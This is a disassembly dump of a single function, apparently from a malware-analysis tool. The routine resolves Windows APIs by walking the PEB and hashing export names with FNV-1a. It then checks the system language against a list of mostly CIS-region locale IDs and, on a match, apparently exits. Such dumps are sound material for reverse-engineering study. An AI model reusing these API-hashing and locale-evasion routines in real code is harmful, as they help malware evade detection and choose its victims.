Function at 0x49c8d0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [0x4f3810]
push esi
push edi
test ebx, ebx
jne 0x49c971
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 8], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49c958
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 8]
imul eax, eax, 0x1000193
mov dword [ebp - 8], eax
cmp edi, ebx
jne 0x49c920
cmp eax, 0xa3e6f6c3
je 0x49ced8
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49c969
cmp dword [ecx + 0x18], 0
jne 0x49c900
xor ebx, ebx
mov dword [0x4f3810], ebx
mov eax, dword [0x4fbc1c]
test eax, eax
jne 0x49ca0e
test ebx, ebx
je 0x49ca07
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x10], eax
lea eax, [ebx + ecx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x49ca07
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49ca07
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49c9f5
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49c9c0
mov ecx, dword [ebp - 4]
cmp edi, 0x6fca03ef
je 0x49cee3
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x49c9b0
xor eax, eax
mov dword [0x4fbc1c], eax
call eax
mov ecx, 0x42c
movzx eax, ax
mov dword [ebp - 0x10], 0x82c
lea edx, [ecx - 1]
lea ebx, [ecx - 9]
lea esi, [ecx + 0xb]
lea edi, [ecx - 0xa]
cmp ax, word [ebp - 0x10]
je 0x49ca9e
cmp ax, cx
je 0x49ca9e
cmp ax, dx
je 0x49ca9e
cmp ax, bx
je 0x49ca9e
cmp ax, si
je 0x49ca9e
mov ecx, 0x43f
cmp ax, cx
je 0x49ca9e
mov ecx, 0x440
cmp ax, cx
je 0x49ca9e
mov ecx, 0x819
cmp ax, cx
je 0x49ca9e
mov ecx, 0x419
cmp ax, cx
je 0x49ca9e
mov ecx, 0x428
cmp ax, cx
je 0x49ca9e
mov ecx, 0x442
cmp ax, cx
je 0x49ca9e
mov ecx, 0x843
cmp ax, cx
je 0x49ca9e
mov ecx, 0x443
cmp ax, cx
je 0x49ca9e
cmp ax, di
jne 0x49cbd2
mov esi, dword [0x4f3810]
test esi, esi
jne 0x49cb33
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49cb1a
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x49cae2
cmp eax, 0xa3e6f6c3
je 0x49cf00
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49cb2b
cmp dword [ecx + 0x18], 0
jne 0x49cac4
xor esi, esi
mov dword [0x4f3810], esi
mov eax, dword [0x4fbbc8]
test eax, eax
jne 0x49cbce
test esi, esi
je 0x49cbc7
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x78]
lea eax, [ecx + esi]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x49cbc7
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49cbc7
mov eax, dword [eax + 0x20]
add eax, esi
mov dword [ebp - 0xc], eax
nop dword [eax + eax]
mov edx, dword [eax]
mov edi, 0x811c9dc5
add edx, esi
mov bl, byte [edx]
inc edx
test bl, bl
je 0x49cbb5
movsx ecx, bl
lea edx, [edx + 1]
sub bl, 0x41
mov eax, ecx
or eax, 0x20
cmp bl, 0x19
mov bl, byte [edx - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test bl, bl
jne 0x49cb80
mov ecx, dword [ebp - 4]
cmp edi, 0x52a4cf3a
je 0x49cf0b
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x49cb70
xor eax, eax
mov dword [0x4fbbc8], eax
push 0
call eax
mov esi, dword [0x4f3810]
test esi, esi
jne 0x49cc71
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop dword [eax + eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49cc58
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x49cc20
cmp eax, 0xa3e6f6c3
je 0x49cf28
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49cc69
cmp dword [ecx + 0x18], 0
jne 0x49cc00
xor esi, esi
mov dword [0x4f3810], esi
mov eax, dword [0x4fbc14]
test eax, eax
jne 0x49cd03
test esi, esi
je 0x49ccfc
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x78]
lea eax, [ecx + esi]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x49ccfc
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49ccfc
mov eax, dword [eax + 0x20]
add eax, esi
mov dword [ebp - 0xc], eax
mov edx, dword [eax]
mov edi, 0x811c9dc5
add edx, esi
mov bl, byte [edx]
inc edx
test bl, bl
je 0x49ccea
movsx ecx, bl
lea edx, [edx + 1]
sub bl, 0x41
mov eax, ecx
or eax, 0x20
cmp bl, 0x19
mov bl, byte [edx - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test bl, bl
jne 0x49ccb5
mov ecx, dword [ebp - 4]
cmp edi, 0x9f01b7f9
je 0x49cf33
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x49cca5
xor eax, eax
mov dword [0x4fbc14], eax
call eax
movzx eax, ax
mov ecx, 0x82c
cmp ax, cx
je 0x49cd9c
mov ecx, 0x42c
cmp ax, cx
je 0x49cd9c
mov ecx, 0x42b
cmp ax, cx
je 0x49cd9c
mov ecx, 0x423
cmp ax, cx
je 0x49cd9c
mov ecx, 0x437
cmp ax, cx
je 0x49cd9c
mov ecx, 0x43f
cmp ax, cx
je 0x49cd9c
mov ecx, 0x440
cmp ax, cx
je 0x49cd9c
mov ecx, 0x819
cmp ax, cx
je 0x49cd9c
mov ecx, 0x419
cmp ax, cx
je 0x49cd9c
mov ecx, 0x428
cmp ax, cx
je 0x49cd9c
mov ecx, 0x442
cmp ax, cx
je 0x49cd9c
mov ecx, 0x843
cmp ax, cx
je 0x49cd9c
mov ecx, 0x443
cmp ax, cx
je 0x49cd9c
mov ecx, 0x422
cmp ax, cx
jne 0x49ced1
mov ebx, dword [0x4f3810]
test ebx, ebx
jne 0x49ce31
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49ce18
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x49cde0
cmp eax, 0xa3e6f6c3
je 0x49cf50
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49ce29
cmp dword [ecx + 0x18], 0
jne 0x49cdc2
xor ebx, ebx
mov dword [0x4f3810], ebx
mov eax, dword [0x4fbbc8]
test eax, eax
jne 0x49cecd
test ebx, ebx
je 0x49cec6
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x49cec6
xor ecx, ecx
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x49cec6
mov eax, dword [eax + 0x20]
mov edx, dword [ebp - 4]
add eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
mov al, byte [esi + ebx]
add esi, ebx
inc esi
test al, al
je 0x49ceb4
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x49ce81
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
cmp edi, 0x52a4cf3a
je 0x49cf5b
mov eax, dword [ebp - 0xc]
inc ecx
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x49ce70
xor eax, eax
mov dword [0x4fbbc8], eax
push 0
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49c96b
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x49ca09
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x18]
jmp 0x49cb2d
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
jmp 0x49cbc9
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x18]
jmp 0x49cc6b
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
jmp 0x49ccfe
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49ce2b
mov eax, dword [edx + 0x24]
push 0
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
mov dword [0x4fbbc8], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret